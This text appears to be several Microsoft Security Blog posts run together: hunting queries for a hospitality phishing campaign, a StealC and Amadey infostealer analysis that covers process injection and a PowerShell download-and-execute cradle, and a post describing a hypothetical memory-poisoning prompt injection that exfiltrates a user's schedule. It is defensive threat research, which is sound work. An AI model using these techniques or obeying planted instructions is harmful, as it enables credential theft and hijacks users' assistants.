This query identifies Node.js execution from the campaign’s characteristic AppData\Local\Nodejs\ staging path with JavaScript payload arguments. 

DeviceProcessEvents 
| where FileName =~ "node.exe" 
| where FolderPath has @"\AppData\Local\Nodejs\" 
| where ProcessCommandLine has ".js" 
| project Timestamp, DeviceName, FolderPath, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

.NET DLL compilation from PowerShell-downloaded scripts (Wave 2) 

This query detects the Wave 2 attack chain expansion where PowerShell scripts trigger dynamic .NET compilation through csc.exe.

DeviceProcessEvents 
| where FileName in~ ("csc.exe", "cvtres.exe") 
| where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe") 
    or InitiatingProcessFolderPath has @"\AppData\Local\Temp\" 
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Defender process exclusions followed by Temp execution 

This query correlates Defender exclusion modifications with subsequent executable launches from temporary paths within a 30-minute window. 

let exclusionEvents = 
DeviceProcessEvents 
| where FileName in~ ("powershell.exe", "pwsh.exe") 
| where ProcessCommandLine has "Add-MpPreference" and ProcessCommandLine has "-ExclusionProcess" 
| project DeviceId, DeviceName, ExclusionTime=Timestamp, ExclusionCmd=ProcessCommandLine; 
let tempExecs = 
DeviceProcessEvents 
| where FolderPath has @"\AppData\Local\Temp\" 
| where FileName endswith ".exe" or ProcessCommandLine has ".exe" 
| project DeviceId, TempExecTime=Timestamp, TempFile=FileName, TempPath=FolderPath, TempCmd=ProcessCommandLine; 
exclusionEvents 
| join kind=inner tempExecs on DeviceId 
| where TempExecTime between (ExclusionTime .. ExclusionTime + 30m) 
| project DeviceName, ExclusionTime, ExclusionCmd, TempExecTime, TempFile, TempPath, TempCmd 
| order by ExclusionTime desc

Installer or unpacker behavior using is-.tmp and silent flags 

This query identifies the campaign’s characteristic use of temporary installer files with silent execution flags. 

DeviceProcessEvents 
| where ProcessCommandLine has @"\is-" and ProcessCommandLine has ".tmp" 
| where ProcessCommandLine has_any ("/SL5", "/VERYSILENT") 
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc 

Registry persistence to Node.js and ProgramData 

This query detects creation or modification of Run or RunOnce values pointing to the campaign’s persistence locations. 

DeviceRegistryEvents 
| where RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\Run" 
    or RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\RunOnce" 
| where RegistryValueData has_any (@"\AppData\Local\Nodejs\", @"\ProgramData\") 
| project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Non-standard port beaconing from Node.js or suspicious user-space binaries 

This query identifies network connections on the campaign’s observed C2 ports from suspicious process locations. 

DeviceNetworkEvents 
| where RemotePort in (8443, 8445, 8453, 5555, 56001, 56002, 56003) 
| where InitiatingProcessFileName =~ "node.exe" 
    or InitiatingProcessFolderPath has @"\AppData\Local\Temp\" 
    or InitiatingProcessFolderPath has @"\AppData\Local\Nodejs\" 
    or InitiatingProcessFolderPath has @"\ProgramData\" 
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl 
| order by Timestamp desc

Wave 2 .cfd and .bond domain connections 

This query detects network connections to the campaign’s Wave 2 domain infrastructure. 

DeviceNetworkEvents 
| where RemoteUrl has_any (".cfd", ".bond", ".click") 
| where RemoteUrl has "photo-" or RemoteUrl has_any ("zloapobikahy23", "higoksbupwou", "aluminiostramuntana") 
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Browser automation and forced shutdown on previously affected hosts 

This query identifies late-stage post-compromise behavior on hosts already showing earlier campaign indicators. 

let suspiciousHosts = 
DeviceProcessEvents 
| where FileName =~ "node.exe" and FolderPath has @"\AppData\Local\Nodejs\" 
| distinct DeviceId; 
DeviceProcessEvents 
| where DeviceId in (suspiciousHosts) 
| where ProcessCommandLine has_any ("--headless", "--no-sandbox", "shutdown -s -t 0") 
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Calendly-associated notification infrastructure used in phishing delivery 

This query identifies emails from the campaign’s Calendly-associated subdomain with the characteristic display name. 

EmailEvents 
 | where SenderMailFromDomain =~ "em1618.calendly.com" 
| where SenderMailFromAddress startswith "bounces+13766497-" or SenderDisplayName has "Booking Manager" 
 | project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation, ThreatTypes 
 | order by Timestamp desc

share.google redirect token detection in email URLs 

This query detects emails containing share.google redirect URLs, which the campaign uses as an intermediate hop to obscure the final phishing destination. 

EmailUrlInfo 
 | where Url contains "share.google/" 
 | join kind=inner EmailEvents on NetworkMessageId 
 | where SenderMailFromDomain has "calendly" or SenderDisplayName has "Booking" 
 | project Timestamp, NetworkMessageId, SenderFromAddress, RecipientEmailAddress, Subject, Url, DeliveryAction 
 | order by Timestamp desc

Calendly redirect URL phishing detection 

This query identifies emails containing Calendly redirect URLs that match known campaign patterns, including share.google tokens or photo-*.cfd domains. 

EmailUrlInfo 
 | where Url contains "calendly.com/url?q=" 
 | where Url has_any ("share.google", "photo-", ".cfd") 
 | join kind=inner EmailEvents on NetworkMessageId 
 | project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, Url, DeliveryAction, AuthenticationDetails 
 | order by Timestamp desc

High-frequency file hash hunting (combined Waves 1 and 2) 

This query hunts for all known campaign file hashes across endpoint telemetry.

let hashes = dynamic([ 
    "83e970feb3f10692c164f6889f7a026f135c2433e5bf8e662a6e63a3b81267b7", 
    "06a2888c1f07119873ccb051221bd8717281494b33585f4242556e6e5e227969", 
    "04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1", 
    "1c693bcdaf1da636eb21c274b21cc2f6c52c62ddd514700783eee83fe13acb0a", 
    "2e5fd01b7949a45937b853eabcf4b03195614cf84338dcaaa97240d1c5301ddc", 
    "3f66634f103b80412d1d670b91befab2a74425d2ea76d904c4a7ffae2ae94b44", 
    "63565f15a99769bbcd527a4d53e5cc259d80e1254463ef9c878c2074685558ae", 
    "49cc0e0c3ec060fb354cacee244d4f297aaefb6db66e67a21262d6c4d2eae1bd", 
    "6580de3b74fd635a1d7a887b8f6e5b0c9ac9e90d6e20466ad41489203119cca9", 
 
    "f629311734b7c6e6579f8e1d0e1e3f3bf72c9ac6c301b631ba4df7f393c41b14", 
    "98825c0c7764f45c891275b2f038ea559e84b340df30b41c2cc77b8d4215c6c8", 
    "bd6805782df15e53581096b99bd6bbb81f4d4a5e2d2b30954df63175a4075be9", 
    "89934cb1494cf0327f0ab82fe644c74caf687814379cad116bd7adaca74c1028", 
    "1f8daffec5945a13a1e9231f4a76655d4c7ef4560d0c64ca3abfe48f38297cbd", 
    "9f10e3b6e5745784f26d18c38ce01fba054b19749c17260978ac11472564aee2", 
    "97448688b292bfec6d83b153588076fe59b111c35ac4e42a916238df16a71e2f", 
    "c5baa0c16b0074a1e94b48aa0177e9bfc23746aca8a5b42848a6685da85658b5", 
    "b7f46b192cd83a1d2487cb048cca645f6e8855b9673d500d50bbdb04eebc6bea" 
]); 
DeviceFileEvents 
| where SHA256 in (hashes) 
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Microsoft Sentinel

Microsoft Sentinel customers can use the Microsoft Defender XDR connector to ingest the above queries or leverage the Threat Intelligence Mapping analytics rule to match campaign IOCs against ingested logs. 

MITRE ATT&CK techniques

Indicators of compromise 

Observed C2 IPs and non-standard ports 

Representative observed domains 

Wave 1 domains 

Wave 2 domains  

Microsoft has assigned malicious ratings to these domains, and they are being blocked. 

File hashes 

Key behavioral patterns 

References

• Technical Analysis of Suspicious Emails Targeting the Hotel Industry | SOC Prime
• ITOCHU Cyber & Intelligence

This research is provided by Microsoft Defender Security Research,  Parth Jamodkar, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access appeared first on Microsoft Security Blog.

Infostealers continue to be some of the most pervasive and impactful threats across the cybercrime ecosystem. They play a central role in intrusions, silently harvesting passwords, cookies, and session tokens before exfiltrating stolen data to attacker-controlled infrastructure. If not mitigated, these threats can turn a single consumer-device compromise into an enterprise risk: an infostealer infection on an employee’s personal device could yield corporate virtual private network (VPN) credentials, single sign-on (SSO) tokens, and session cookies that could allow an attacker to bypass multifactor authentication (MFA).  

In the cybercriminal ecosystem, infostealer families like StealC and malware delivery services like Amadey are sold and rented as commodities. Stolen data flows through an underground economy of access brokers that feeds ransomware and other operations. Because the initial infection usually happens outside managed endpoints, defenders might see the breach only after valid credentials are abused, underscoring the importance of identity protection, credential hygiene, and rapid response. 

In this blog, we examine how the infostealer economy has grown into a major threat to enterprise security, with a focus on StealC and Amadey. StealC is an infostealer that collects sensitive data from browsers, cryptocurrency wallets, messaging applications, email clients, and gaming platforms. It is a malware-as-a-service (MaaS) offering that threat actors use to generate customized payloads and manage stolen data through a centralized web panel. Meanwhile, Amadey is a MaaS loader that threat actors use to deliver StealC and other malware. Modular, pay-as-you-go models like StealC and Amadey allow threat actors to use a single initial infection to quickly escalate into multiple other threats.

On June 24, 2026, Microsoft’s Digital Crimes Unit (DCU), working with Europol and industry partners, announced a coordinated disruption action resulting in the takedown, suspension, and blocking of domains and command-and-control (C2) servers that formed the backbone of StealC and Amadey infrastructure. In total, DCU identified over 200 malicious Amadey and StealC command-and-control domains and IPs and moved to shut them down through a mix of court orders, domain seizures, registrations, and provider notifications.As part of this disruption, DCU engineered tools, including the use of Microsoft Copilot, to analyze StealC and Amadey binaries efficiently. These efforts included creating a prompt agent for performing comprehensive analysis of functions, using prompt engineering to generate a Python script for string decryption and extraction of configuration parameters, using Copilot to analyze disassembled malware code and identify C2 servers hardcoded into the malware binaries, and writing software with assistance from Copilot to confirm C2 activity.

The role of infostealers: From credential theft to intrusion

Infostealers like StealC, Lumma Stealer, RedLine, Raccoon, and Vidar enable division of labor across the cybercriminal ecosystem: initial operators deploy the malware at scale, and access brokers validate and monetize the stolen credentials, then resell them at a premium to threat actors seeking a foothold into enterprise environments.

When successfully deployed and executed, information-stealing malware can harvest credentials (usernames, passwords, and session cookies) from infected environments and export them as logs to the attackers’ server. These logs can hold credentials and tokens present on the compromised device, including corporate VPN, email, cloud, and SSO accounts. Stolen corporate credentials are extremely valuable, because a single working account can unlock many enterprise systems at once, especially if MFA could be bypassed using stolen session cookies. 

How an infostealer attack unfolds

While individual families differ in their tradecraft, infostealer-enabled intrusions follow a remarkably consistent path from delivery to impact. The infection chain could begin on an unmanaged or lightly protected device and end, often weeks later, inside a corporate environment, using credentials that look entirely legitimate.

Infostealer operators favor delivery techniques that scale and rely on ordinary user behavior rather than software vulnerabilities. The most common is deceptive web traffic: search engine optimization (SEO) poisoning and malicious advertising push fake or trojanized versions of popular software, “cracked” applications, and game cheats to the top of search results. A user looking for a free utility downloads a working program bundled with a stealer. A fast-growing variant is the ClickFix technique, in which a website tricks users into pasting a command into the Windows Run dialog or terminal, unknowingly executing the attacker’s script themselves, sidestepping many download-based defenses. Phishing email remains a reliable delivery path as well, particularly for campaigns that target specific organizations or individuals.

Lastly, infostealers are frequently delivered by other malware. Loaders like Amadey, upon establishing a foothold, deploy a stealer, a banking trojan, or additional tooling on demand. Once the loader unpacks the infostealer in memory and evades detection, the infostealer harvests target data. After exfiltrating stolen data, the malware typically deletes itself to hinder investigation. As we discuss in the next section, stolen credentials and tokens rarely stay with the original operator. These are packaged into logs and sold, validated by intermediaries, and eventually monetized as enterprise access, enabling account takeover, fraud, and ransomware.

How stolen credentials are monetized

Once exfiltrated, infostealer logs are rapidly monetized. Within hours, credentials from infected devices often appear on dark web markets or Telegram channels for USD $10-50 per log, while premium logs (with bank or corporate accounts) fetch higher prices, up to $100+ each. However, recent analysis by researchers at Reliaquest shows that Russian markets selling logs as low as $2 per log. These “breach packages” might be purchased in bulk by initial access brokers, specialized intermediaries who test and resell network access.

Alternatively, the operators who originally stole the logs themselves might directly exploit the high-value credentials without involving an access broker or buyer. For example, some ransomware groups deploy infostealers and then use the captured credentials to get inside target networks. The timeline for stolen infostealer credentials turning into enterprise breaches varies widely. Some intrusions occur within 48–72 hours of credentials being stolen, while other stolen credentials could sit dormant for months before they’re used by an attacker.

Infostealer infections often occur outside managed networks, for example, an employee’s home PC where corporate security monitoring is absent. The stolen sign-in reuse might not raise immediate alarms because attackers authenticate with legitimate credentials, even bypassing MFA if they have a session cookie. As a result, many compromised organizations only discover malicious activity after the attacker has taken action (for example, ransomware deployment or a large-scale data exfiltration event). This stealthy progression could make infostealer-driven intrusions a challenge to detect in time.

StealC: Infostealer for rent

StealC is representative of the modern malware-as-a-service stealer: threat actors rent access to a StealC builder to produce customized samples and a web panel to manage stolen data. This model keeps the barrier to entry low and the volume of distinct samples high. StealC is written in C++. Upon execution, it fingerprints the compromised system, collects saved credentials and cookies from a wide range of browsers, targets cryptocurrency wallets and messaging applications, captures data from email clients, steals Steam session data, takes screenshots of desktop, and exfiltrates credentials to its C2 server.

The malware also functions as a secondary loader, capable of downloading and executing additional payloads (.exe, MSI, or PowerShell scripts) on command from the C2. After completing its tasks, the malware can optionally self-delete to reduce forensic evidence. In addition, StealC queries the system’s default language and runs a language check, terminating itself if the locale matches Russian, Ukrainian, Belarusian, Kazakh, or Uzbek.

The malware attempts to create a Windows event using the victim ID as the event name. The victim ID format is <computer name>_<username>. If the event already exists, the malware enters a polling loop at intervals of less than five seconds (varies across variants) until the previous instance of itself completes. This is to avoid having multiple running instances on the device. StealC also contains an embedded expiration date. It compares the current system time against this expiration date and skips all malicious activity if the sample has expired.

C2 registration and configuration

StealC first sends a registration request to the C2 panel and constructs an HTTP POST request containing:

• Request type: create
• System hardware ID
• Malware build ID

This payload is RC4-encrypted using a hard-coded key, Base64-encoded, and then sent to the C2 through HTTP POST request. The decrypted C2 response is parsed as a JSON configuration object containing the following information:

• An access token used to authenticate all subsequent requests from the malware
• A list of browser stealing targets (paths, browser types, methods and types, which data to extract)
• A list of file-grabbing rules (target directories, file masks, size limits, recursion depth)
• Configuration flags controlling optional modules, including screenshot capture (take_screenshot), loader execution (loader), Steam theft (steal_steam), Outlook theft (steal_outlook), Foxmail theft (steal_foxmail), WinSCP theft (steal_winscp), and self-deletion (self_delete)

If this registration with C2 fails, the malware self-terminates immediately.

StealC performs a comprehensive collection of system information that is exfiltrated to the C2:

• Network information: IP address and country
• System identifiers: HWID, OS version and build number, system architecture
• User context: Username, computer name, running executable path
• Locale data: Local time, UTC offset, system language, installed keyboard layouts
• Hardware profile: CPU model, core and thread count, total RAM, battery/laptop detection
• Display configuration: Virtual screen resolution, monitor details (device name, adapter string, resolution, color depth)
• GPU information: Graphics adapter details
• Running processes: Full process list with names and PIDs enumerated through toolhelp snapshots
• Installed software: Application names and versions from the Uninstall registry keys for both all-users and current-user hives

Browser credential stealing

For Chromium browsers (like Chrome, Edge, Brave, Opera, Vivaldi, and others), the malware resolves the browser’s profile directory under %APPDATA% or %LOCALAPPDATA% and targets the following data stores:

• Sign-in data: saved user names and passwords
• Cookies: session cookies
• Web data: autofill entries and saved credit card information
• History: browsing history
• Local extension settings/Sync extension settings/IndexedDB: browser extension data (including cryptocurrency wallet extensions)

To defeat Chromium’s App-Bound Encryption (ABE), StealC does not decrypt these browser secrets within its own process. Instead, it carries an embedded payload (approximately 165 KB) that it injects into a sacrificial suspended process and executes through an asynchronous procedure call (APC). The injection sequence is as follows:

1. Spawns the target process with CreateProcessA using the CREATE_SUSPENDED flag
2. Allocates executable memory in the remote process with VirtualAllocEx (MEM_COMMIT, PAGE_EXECUTE_READWRITE).
3. Writes the embedded payload into that memory with WriteProcessMemory.
4. Queues the payload to the suspended thread with QueueUserAPC, then calls ResumeThread, so the APC fires and the payload runs in the process context
5. Waits for the injected code to finish with WaitForSingleObject, then frees the memory and closes the handles

Running in the target process context, the injected module performs the in-process decryption and writes the cleartext result to an inter process communication (IPC) file at C:\ProgramData\<HWID>.txt, where <HWID> is the victim hardware identifier. StealC then reads back up to 511 bytes of decrypted output from that file, processes the result, and deletes the temporary file. The routine retries the injection up to three times if it does not succeed.

The decrypted credential data is formatted as plaintext entries with fields for URL, login, and password, and is then exfiltrated to C2. For Firefox and other Gecko-based browsers (like Thunderbird, Waterfox, and others), the malware locates the profiles.ini to identify active browser profiles, then extracts data from the following:

• logins.json: stored credentials (hostname, encrypted user name, encrypted password)
• cookies.sqlite: session cookies
• formhistory.sqlite: form autofill data
• places.sqlite: browsing history and bookmarks

Additional credential theft activity

Beyond web browsers, StealC targets credentials saved by several desktop applications, processing each module in order and sending the results to the C2 as it completes them.

StealC enumerates Microsoft Outlook email account profiles stored in the registry under HKCU\Software\Microsoft\Office\<version>\Outlook\Profiles and HKCU\Software\Microsoft\Windows Messaging Subsystem\Profiles. It reads the account values for each profile, including the server settings and user names, and recovers the saved account passwords from their stored encrypted form so that mail server credentials (IMAP, POP3, and SMTP) could be exfiltrated.

The malware also targets the Foxmail email client. It locates the Foxmail data directory and parses account storage files (for example, the Accounts records under each account’s Storage folder). It then extracts the configured email addresses, server details, and saved passwords, decrypting Foxmail’s proprietary password encoding to recover the credentials in plaintext.

For the WinSCP File Transfer Protocol (FTP) and SSH FTP (SFTP) client, the malware collects saved session credentials from either the registry key HKCU\Software\Martin Prikryl\WinSCP 2\Sessions or, when portable storage is used, the WinSCP.ini file. For each session, it recovers the host name, user name, and password, reversing WinSCP’s custom password obfuscation so the stored credentials could be exfiltrated.

To perform file grabbing, the malware processes a list of rules received from the C2. Each rule specifies a target directory, file mask patterns, recursion depth, and optional size limits. The grabber uses recursive directory enumeration to walk the target path. Selected files are copied to a staging directory under C:\ProgramData and read into memory to be exfiltrated to C2. The temporary copy is then deleted.

If enabled in the C2 configuration, the malware specifically targets the Steam gaming application. First, it retrieves the Steam path from the registry key HKCU\SOFTWARE\Valve\Steam and then navigates to the configuration subdirectory inside and collects the following files:

• ssfn*
• config.vdf
• DialogConfig.vdf
• DialogConfigOverlay*.vdf
• libraryfolders.vdf
• loginusers.vdf

If enabled by the C2 configuration, the malware can also capture a full screenshot of the victim’s desktop using the following operations:

1. Obtains the virtual screen dimensions (spanning all monitors)
2. Performs a screen capture using a device context and bit-block transfer
3. Encodes the captured bitmap as a JPEG image at 90% quality
4. Exfiltrates the result

After data collection is complete, the malware contacts the C2 again with request type loaderwhile authenticating with the previously received access token. The C2 responds with a list of payloads to download and execute. The following three execution methods are supported:

• EXE execution: Downloads a file, saves it with an .exeextension, and executes the payload
• PowerShell cradle: Constructs a download-and-execute command (iwr <URL> |iex) and launches it through PowerShell
• MSI installation: Downloads a file, saves it with an .msi extension, and installs it silently through msiexec.exe /i “<path>” /passive

After all stealing modules have finished, the malware sends a final done notification to the C2 panel, including the access token. This signals to the operator that data collection for the compromised device is complete. All stolen data, such as system information, browser credentials, grabbed files, and screenshots, are transmitted in individual POST requests throughout the execution flow, each being RC4-encrypted and Base64-encoded. If the self-delete flag is set in the C2 configuration, the malware removes itself from disk as its final operation by executing the following command:

Amadey: Malware-as-a-service for delivery of infostealers

Active since at least 2018, Amadey operates as a malware-as-a-service (MaaS) that has been used as a delivery mechanism for downstream malware such as StealC, Lumma Stealer, remote access trojans (RATs), crypto miners, and, in some cases, ransomware.

In December of 2025, researchers at Trellix reported threat actors using the Amadey loader to retrieve the StealC infostealer from a compromised self-hosted GitLab instance, rather than from more familiar public hosting like GitHub. The point of that approach was to make the delivery infrastructure look more legitimate by using a long-established domain with valid TLS certificates, which can help the activity blend in and evade some traditional defenses.

This attack chain began with the first-stage Amadey loader. Once executed, the loader created a mutex to prevent duplication, performed discovery actions, and began communicating with its C2 server. Follow-on activities included the execution of additional components including a clipper plugin, use of PowerShell to expand archived payloads, deployment of additional payloads, and the execution of StealC, which communicated with its own separate C2 infrastructure after execution.

Amadey predates the current infostealer boom but has found renewed relevance as a delivery mechanism. It is a modular backdoor written in C++. It communicates with its C2 server over HTTP and supports backdoor commands for file download, file execution, command execution, modular updates, and network proxy. Operators can push plugins that add capabilities such as credential and clipboard theft, or simply use Amadey to download and run other malware, including infostealers. 

Scheduled task persistence

Upon execution, Amadey attempts to copy itself to the file nudwee.exe in the following target directory, depending on the system:

• On Windows 10 or Windows 11: C:\Users\<user name>\e079729711
• Others: %TEMP%\e079729711

After copying its own executable to this path, the malware executes it before creating a scheduled task to establish persistence for the payload.

System information collection

The malware builds a victim fingerprint POST request body with the following fields:

This body is then RC4-encrypted and hex-encoded and later sent to C2 during the C2 bot registration phase.

The malware continues its infection by querying the system registry for keyboard layouts. The malware specifically checks for the following layout IDs:

• 00000419: Russian
• 00000422: Ukrainian
• 00000423: Belarusian

This sets up an internal flag, which is checked before executing certain commands to skip certain functionalities like credential stealing and clipboard stealing.

C2 communication

The malware communicates with its C2 serverover HTTP. In the first phase, the malware performs a status check by sending “st=s“in an HTTP POST request to C2. The C2 server responds with a sleep multiplier, which is a value to specify how long the malware sleeps between command execution.

In the next phase, the malware performs bot registration by sending the RC4-encrypted victim information to the C2. Once this is complete, the C2 starts sending backdoor commands to the Amadey backdoor. After each backdoor command is executed, the malware sleeps for the specified duration before receiving a new backdoor command. All communications between the malware and its C2 infrastructure are encrypted using RC4, with the encryption key embedded in the malware’s configuration.

The following table lists the backdoor commands that Amadey could process and their descriptions:

Plugins like cred.dll and clip.dll are downloaded from the C2 server at runtime.

In the generic handler used by commands 0x0A, 0x0C, 0x1B, 0x1C, 0x1D, the C2 can specify one of these in the backdoor data for the payload drop location:

Defending against StealC and Amadey intrusions

To defend against attacks from infostealers like StealC and malware families like Amadey, Microsoft recommends the following mitigation measures:

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:
  • Use advanced protection against ransomware

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Tool profile: Amadey
• Tool profile: StealC
• Tool profile: Lumma Stealer
• Tool profile: Information stealers

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

References

• Amadey Exploiting Self-Hosted GitLab to Distribute StealC Trellix
• HELLCAT Ransomware Group Strikes Again: Four New Victims Breached via Jira Credentials from Infostealer Logs InfoStealers by HudsonRock
• The Infostealer Pipeline How Russian Market Fuels Credential Based Attacks ReliaQuest
• Stealer Logs and Corporate Access Flare

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post StealC and Amadey: Breaking down infostealers and the cybercrime services that deliver them appeared first on Microsoft Security Blog.

AI memory transforms an AI system from a stateless tool into a learning collaborator.  That unlocks powerful experiences, but it also increases the attack surface of the AI system. Without memory, attackers need to achieve their objective in a single prompt.  With AI memory, they can shape behavior gradually over time or plant memories that influence agent reasoning after the original context is gone and user awareness is lower.

Microsoft takes a defense-in-depth approach to protect AI memory spanning every layer of the stack: storage, retrieval, model interaction, and user control.

What AI memory is (and why it matters)

 AI systems use memory to retain and recall information across interactions. This information is then used to shape future behavior. This enables:

1. Personalization: Agents gain a deep understanding of the user’s preferences.  This provides continuity across interactions.
2. Agentic coherence: Agents build durable domain knowledge that strengthens performance. As AI systems evolve, this persistent state becomes central to both capability and correctness.

What is an agent memory attack?

AI memory serves two roles. It stores high-value user information and must be protected like customer data. It also shapes agent behavior and drives tool calls and must be governed with the same rigor as any system that can act. Memory governance is also challenging since memory events usually happen asynchronously from user interactions, changing traditional human in the loop patterns.

AI memory changes the threat model. Without memory, attackers need to “win” in a single prompt. Using AI memory, an attacker can stage an attack over time. Once compromised, memory can trigger behaviors outside of their original context. Since AI memory attacks happen outside of their original context, defenses are often lower and forensics are harder.

Building safe AI memory is one of the most consequential challenges in AI. It requires balancing personalization, capability, privacy, security, and governance.

Scenario: delayed tool execution through adversarial memory poisoning

The following is a hypothetical scenario illustrating this class of risk. While simplified for clarity, it reflects patterns observed in real-world research. Microsoft designs protections to detect and mitigate these patterns as they evolve:

A user opens a shared document. Its formatting contains hidden instructions embedded by an attacker intended for the AI assistant: a directive to exfiltrate the user’s schedule. The assistant processes the document but takes no immediate action.

Days later, in an unrelated conversation, that message triggers the dormant malicious instructions from the earlier session, causing the assistant to update its memory with attacker-defined content.  The attacker now gets all updates to the user’s schedule.

This is delayed tool invocation: the attack’s power lies in the temporal gap between exposure and execution.

How Microsoft approaches memory security in Microsoft 365

Memory Creation

Memories pass through sanitization checks on write. Proprietary Microsoft prompt-injection classifiers inspect content for malicious input and strip it before anything is written.  M365 Copilot is designed to run Task Adherence checks on every explicit memory write. Task Adherence identifies discrepancies such as misaligned tool invocations relative to user intent, mitigating prompt injection impact for the memory tool call.  Personalization using AI memory can be controlled with tenant level policy.

Memory Storage

Once stored, memories are governed by the data policies available across M365 like Data Subject Requests (DSR) and tenant isolation.  They follow the same security and compliance policies as other mailbox data, such as Customer Lockbox and encryption at rest.

Observability

M365 Copilot records when a memory is updated to organizational audit logs. The goal is end-to-end traceability: from the source content Copilot processed, to what it chose to remember, to how that memory influenced later interactions.

Today, SOC analysts can join the MemoryUpdated field, available in Defender Advanced Hunting, Defender Sentinel, and Azure Portal Sentinel Analytics, with their existing analytics to triage incidents and build new alerts on memory activity.

In summary:

Microsoft continues to invest in AI memory security as an active, iterative program. The protections and visibility described here reflect capabilities available today, with continued hardening and enrichment underway. Capabilities described are subject to configuration, licensing, and service availability. The following section shares the framework guiding our investments.

This case study is based on MSRC cases from Johann Rehberger (first finder), Håkon Måløy, and Gal Zror.  We are grateful to the security researchers who engaged with us and informed better memory design practices through coordinated vulnerability disclosure. Their work strengthens the systems customers rely on.

A guiding framework for building safe AI memory

AI memory requires balancing personalization, capability, privacy, security, and governance.

Our AI memory strategy is guided by design principles for building safe memory systems. These principles address core failure modes that can undermine trust, security, and operability at scale.

1. Establish intent and provenance before persistence: Memory can be influenced indirectly by untrusted content, and without provenance it becomes difficult to assess whether stored information is trustworthy, appropriate to retain, or safe to use later. Memory should only be written when it reflects legitimate user intent, is aligned to the service’s purpose, and carries clear metadata about where it came from.
